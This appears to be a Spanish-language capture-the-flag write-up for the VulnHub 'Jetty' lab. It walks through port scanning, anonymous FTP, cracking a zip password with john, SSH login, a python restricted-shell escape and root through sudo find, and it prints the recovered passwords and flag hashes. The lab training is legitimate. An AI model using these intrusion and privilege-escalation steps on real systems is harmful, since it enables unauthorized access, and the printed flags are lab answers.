Write Up Jetty VulnHub

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>

nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-24 05:41 EDT
Nmap scan report for 192.168.5.201
Host is up (0.00070s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.5.175
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 2048000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rwxrwxrwx    1 ftp      ftp           306 Oct 06  2018 README.txt [NSE: writeable]
|_-rwxrwxrwx    1 ftp      ftp           226 Oct 06  2018 sshpass.zip [NSE: writeable]
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 4 disallowed entries 
|_/dir/ /passwords/ /facebook_photos /admin/secret
65507/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a0:5b:e6:bb:fd:f6:02:ec:f0:bd:a1:be:b8:97:84:ba (RSA)
|   256 e9:d3:50:26:7e:5a:c2:a0:b0:89:c9:f4:64:d8:aa:b0 (ECDSA)
|_  256 2e:67:c1:af:cc:22:5c:59:15:5f:97:f7:2e:1b:e0:93 (ED25519)
MAC Address: 00:0C:29:39:5C:73 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.10 seconds

ftp

ftp anonymous@<IP>

Nos encontraremos con 2 archivos...

get README.txt

get sshpass.zip

El archivo README.txt contiene lo siguiente...

Hi Henry, here you have your ssh's password. As you can see the file is encrypted with the default company's password. 
Please, once you have read this file, run the following command on your computer to close the FTP server on your side. 
IT IS VERY IMPORTANT!! CMD: service ftp stop. 

Regards, Michael.

No da una pista de que el .zip esta protegido por una contraseña y contiene la contraseña del ssh del usuario Henry...

Por lo que haremos lo siguiente...

zip2john sshpass.zip > hash

Info:

ver 1.0 efh 5455 efh 7875 sshpass.zip/sshpass.txt PKZIP Encr: 2b chk, TS_chk, cmplen=38, decmplen=26, crc=CA21C815 ts=45E9 cs=45e9 type=0

john --wordlist=<WORDLIST> hash

Info:

Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
seahorse!        (sshpass.zip/sshpass.txt)     
1g 0:00:00:00 DONE (2024-06-24 05:47) 1.612g/s 2114Kp/s 2114Kc/s 2114KC/s sharda16..saytown
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Veremos la contraseña que decomprime el .zip del ssh...

unzip sshpass.zip

Y metemos la contraseña seahorse!...

Nos dara un archivo llamado sshpass.txt que contiene lo siguiente...

Squ1d4r3Th3B3$t0fTh3W0rLd

Gobuster

gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt,md -t 100 -k -r

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.201/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              md,html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.md         (Status: 403) [Size: 300]
/.htaccess.html       (Status: 403) [Size: 302]
/.htaccess.php        (Status: 403) [Size: 301]
/.htaccess.txt        (Status: 403) [Size: 301]
/.htaccess            (Status: 403) [Size: 297]
/.htpasswd            (Status: 403) [Size: 297]
/.htpasswd.php        (Status: 403) [Size: 301]
/.htpasswd.html       (Status: 403) [Size: 302]
/.htpasswd.txt        (Status: 403) [Size: 301]
/.htpasswd.md         (Status: 403) [Size: 300]
/index.html           (Status: 200) [Size: 23]
/recoverpassword.txt  (Status: 200) [Size: 1029]
/robots.txt           (Status: 200) [Size: 104]
/robots.txt           (Status: 200) [Size: 104]
/server-status        (Status: 403) [Size: 301]
Progress: 102345 / 102350 (100.00%)
===============================================================
Finished
===============================================================

Pero poca cosa, si vamos a la descripcion de VulnHub en la que nos detalla el sistema, veremos lo siguiente...

Extra information:

- The suspicious username is Squiddie.
- He was in charge of the ticket selling for the Aquarium.
- Ethernet settings set to NAT with DHCP enabled.
- You should find the IP in your VLAN.

Y si probamos el nombre de usuario squiddie en el ssh con la contraseña encontrada anteriormente, veremos que es esa...

User = squiddie
Password = Squ1d4r3Th3B3$t0fTh3W0rLd

ssh squiddie@<IP> -p 65507

Una vez dentro veremos que tenemos restringido casi todo, pero si hacemos lo siguiente...

help

Info:

cd  clear  exit  help  history  lpath  ls  lsudo  pwd  python  whoami

Vemos que solo podemos hacer esos y el que nos interesa es el de python...

python

import os
os.system('/bin/bash')

Poniendo eso dentro del entorno de python nos dara una shell de bash por lo que ya habriamos escapado y podremos hacer cualquier comando sin estar de forma restringida...

Leeremos la flag...

user.txt (flag1)

dd69f649f3e5159ddd10b83b56b2dda2

Si hacemos sudo -l veremos lo siguiente...

Matching Defaults entries for squiddie on jetty:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User squiddie may run the following commands on jetty:
    (ALL) NOPASSWD: /usr/bin/find

Veremos que podemos hacer find como root por lo que haremos lo siguiente para ser root...

sudo find . -exec /bin/sh \; -quit

Y con esto ya seriamos root, por lo que leeremos la flag...

proof.txt (flag2)

136d05d01c8af5d3e3520d2c270f91f1